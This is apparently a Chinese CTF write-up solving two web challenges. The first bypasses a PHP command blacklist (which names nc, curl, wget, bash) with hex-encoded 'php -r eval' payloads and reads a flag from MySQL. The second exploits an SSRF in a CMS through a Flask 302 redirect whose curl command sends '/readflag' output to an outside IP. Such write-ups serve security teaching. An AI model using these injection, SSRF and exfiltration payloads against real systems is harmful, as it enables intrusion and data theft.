simple_php
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);
if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}
show_source(__FILE__);
?>
过滤了很多很多命令
这里有个escapeshellcmd 把特殊符号给转义了 来防止使用特殊参数来进行命令执行
规则是
单引号 ('):转义为 \'。
双引号 ("):转义为 \"。
反斜杠 (\):转义为 \\。
美元符号 ($):转义为 \$。
反引号 (`):转义为 ``````。
感叹号 (!):转义为 \!。
分号 (;):转义为 \;。
大于号 (>):转义为 \>。
小于号 (<):转义为 \<。
垂直线 (|):转义为 \|。
与号 (&):转义为 \&。
空格 ( ):转义为 \ 。
所以很多绕过方法都不管用了
这里没有过滤php -r 可以用这个来试试
先写个php来转换要的命令
<?php
$a= "echo `命令`";
$b= bin2hex();
echo $b;
?>
试试
system('ls /');
//运行出来就是: 6563686f2073797374656d28276c73202f27293b
再post传入
cmd=php -r eval(hex2bin(substr(a6563686f2073797374656d28276c73202f27293b,1)));
//1是从第一个后面开始,所以随便在第一位写个东西 我写的是a
成功
但是没有找到flag
但是在passwd里找到了mysql
感觉只能在数据库里找了
echo `mysql -u root -p'root' -e 'show databases;'`;
//6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d65202773686f77206461746162617365733b27603b
列表名
echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;'`;
//6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b27603
查目录
echo `mysql -u 'root' -p'root' -e 'use PHP_CMS;show tables;select * from F1ag_Se3Re7;'`;
//6563686f20606d7973716c202d752027726f6f7427202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b73656c656374202a2066726f6d20463161675f5365335265373b27603b
得到flag
eazycms
提示给到:
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just input 'cmd' From 127.0.0.1";
return;
}else{a
system($_GET['cmd']);
}
并且在flag.php里发现
猜测是ssrf 让去github找源码 并且用disearch扫一下
在官方的漏洞文档里找到一个ssrf的
全局搜索发现:
public function qrcode() {
$value = urldecode(\Phpcmf\Service::L('input')->get('text'));
$thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb'));
$matrixPointSize = (int)\Phpcmf\Service::L('input')->get('size');
$errorCorrectionLevel = dr_safe_replace(\Phpcmf\Service::L('input')->get('level'));
//生成二维码图片
require_once CMSPATH.'Library/Phpqrcode.php';
$file = WRITEPATH.'file/qrcode-'.md5($value.$thumb.$matrixPointSize.$errorCorrectionLevel).'-qrcode.png';
if (is_file($file)) {
$QR = imagecreatefrompng($file);
} else {
\QRcode::png($value, $file, $errorCorrectionLevel, $matrixPointSize, 3);
$QR = imagecreatefromstring(file_get_contents($file));
if ($thumb) {
$logo = imagecreatefromstring(dr_catcher_data($thumb));
$QR_width = imagesx($QR);//二维码图片宽度
$QR_height = imagesy($QR);//二维码图片高度
$logo_width = imagesx($logo);//logo图片宽度
$logo_height = imagesy($logo);//logo图片高度
$logo_qr_width = $QR_width / 4;
$scale = $logo_width/$logo_qr_width;
$logo_qr_height = $logo_height/$scale;
$from_width = ($QR_width - $logo_qr_width) / 2;
//重新组合图片并调整大小
imagecopyresampled($QR, $logo, $from_width, $from_width, 0, 0, $logo_qr_width, $logo_qr_height, $logo_width, $logo_height);
imagepng($QR, $file);
发现了dr_catcher_data且可控 去找这个函数的定义
看到了curl
去构造302跳转
起个flask服务
理论上是可以弹shell的 但是可能是ctfshow环境问题,连上就断了 所以只能利用外带来实现了获得flag了
/readflag是看wp知道的
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/')
def index():
return redirect("http://127.0.0.1/flag.php?cmd=curl ip:2333/?aaa=`/readflag`")
if __name__ == '__main__':
app.run(host='0.0.0.0', port=7781)
这里外带出来是没有{}的 手动加上
Comments | NOTHING